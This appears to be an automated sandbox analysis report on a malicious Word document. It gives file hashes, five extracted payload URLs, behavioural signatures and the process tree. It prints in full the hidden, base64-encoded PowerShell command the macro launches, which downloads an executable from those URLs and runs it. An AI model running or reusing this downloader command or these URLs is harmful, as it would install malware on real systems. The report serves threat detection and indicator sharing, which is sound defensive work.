Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 10:41
Behavioral task
behavioral1
Sample
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
Resource
win10v2004-20241007-en
General
-
Target
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
-
Size
291KB
-
MD5
a46d29710dd6382d57bd63956a70398c
-
SHA1
2c2a7a24cb960cf6c681f49de8289b3c926052b3
-
SHA256
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f
-
SHA512
66c718e7fe4cd762efa2c86392647b2db5f42a4c8bcb69110e1145a5bf85669d02281a25964780962eed24090cbf52a585e80010402e382978f1a1d088cd9e3e
-
SSDEEP
6144:T0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Mq0XLswqqj2Ng+/HCxJtbGqFN:T0E3dxtR/iU9mvUPMqUsw32Ng+/HCxJt
Malware Config
Extracted
http://www.besthelpinghand.com/wp-admin/tsh4/
http://safari7.devitsandbox.com/error-log/wuuie/
https://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/
http://hecquet.info/clickandbuilds/mV8Sn/
http://trungcapduochanoi.info/wp-admin/w3pg1ny/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3740 1940 Powershell.exe 83 -
Blocklisted process makes network request 4 IoCs
flow pid Process 24 3740 Powershell.exe 28 3740 Powershell.exe 29 3740 Powershell.exe 34 3740 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3740 Powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2816 WINWORD.EXE 2816 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3740 Powershell.exe 3740 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3740 Powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2816 WINWORD.EXE 2816 WINWORD.EXE 2816 WINWORD.EXE 2816 WINWORD.EXE 2816 WINWORD.EXE 2816 WINWORD.EXE 2816 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2816
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABaAGYAZABoAHEAbAB6AGwAcgBrAD0AJwBVAGwAbgByAHIAcgBsAHcAYQB2AGcAbwAnADsAJABVAHcAaQBwAGgAdgB2AHYAZwBzAHkAIAA9ACAAJwA5ADIANAAnADsAJABOAHUAawB1AHoAYwBmAHMAYwBoAD0AJwBBAGwAYgBjAG0AZQB2AG4AawBpAGUAcABiACcAOwAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQB3AGkAcABoAHYAdgB2AGcAcwB5ACsAJwAuAGUAeABlACcAOwAkAEoAZQB6AHAAagB0AGEAbAByAD0AJwBFAHIAcAB0AGwAagBmAHUAbABrAHkAJwA7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBCAGMATABpAGUAbgB0ADsAJABWAHQAaQBjAGkAeABiAHkAawBkAHYAZAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAZQBzAHQAaABlAGwAcABpAG4AZwBoAGEAbgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB0AHMAaAA0AC8AKgBoAHQAdABwADoALwAvAHMAYQBmAGEAcgBpADcALgBkAGUAdgBpAHQAcwBhAG4AZABiAG8AeAAuAGMAbwBtAC8AZQByAHIAbwByAC0AbABvAGcALwB3AHUAdQBpAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBpAGMAbwBuAGUAcAByAG8AagBlAHQAbwBzAC4AZQBuAGcALgBiAHIALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBwAGsATwBPAHcARABvAEkALwAqAGgAdAB0AHAAOgAvAC8AaABlAGMAcQB1AGUAdAAuAGkAbgBmAG8ALwBjAGwAaQBjAGsAYQBuAGQAYgB1AGkAbABkAHMALwBtAFYAOABTAG4ALwAqAGgAdAB0AHAAOgAvAC8AdAByAHUAbgBnAGMAYQBwAGQAdQBvAGMAaABhAG4AbwBpAC4AaQBuAGYAbwAvAHcAcAAtAGEAZABtAGkAbgAvAHcAMwBwAGcAMQBuAHkALwAnAC4AIgBTAFAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAYwBrAGIAZQBxAHYAdABtAHYAdgBvAD0AJwBDAGQAYQBhAGsAdgB4AHoAZAB4AHEAeAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABnAG8AcABkAHgAbgBlAGgAIABpAG4AIAAkAFYAdABpAGMAaQB4AGIAeQBrAGQAdgBkACkAewB0AHIAeQB7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAC4AIgBEAE8AdwBgAE4ATABPAGEARABmAGAAaQBsAGUAIgAoACQAWABnAG8AcABkAHgAbgBlAGgALAAgACQAUgBuAHgAZQBxAHIAaABsAHQAbgBtACkAOwAkAEcAYgB3AGsAbABnAGYAZwBpAHkAPQAnAE0AdgBzAHcAdABmAGgAcQAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQApAC4AIgBMAEUATgBgAEcAdABoACIAIAAtAGcAZQAgADIAMgA4ADcANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABSAG4AeABlAHEAcgBoAGwAdABuAG0AKQA7ACQASwBvAHgAdgBqAHoAbQBsAGgAdgA9ACcASwB6AGsAYwB4AG4AdgB1AGIAdABqACcAOwBiAHIAZQBhAGsAOwAkAEgAZwBlAGsAcABkAGYAbwA9ACcAVwBuAGsAdgBnAHcAbgB6AGUAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGkAYwBrAGQAaQB3AGoAcgA9ACcAUwBjAHQAaABhAHMAcwBmAHoAdQBuACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3740
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize2KB
MD5fae6e6d0304a90d5b606fa929ead2c24
SHA11b114b56fddbe7fcc4b1c356e59b136c91f0315d
SHA256809558d06e1caa1801deeb9bb5a2407fa5436548685b10acfb967520f3eeebc7
SHA51278d881d90e0842a3d3873e67d77651bffb88e0d2aa51a483ca1c2b318c443d6669e6586afafdadcd4e94724aca2ed173186fd3c4bb1574d96bd9c11642756dbd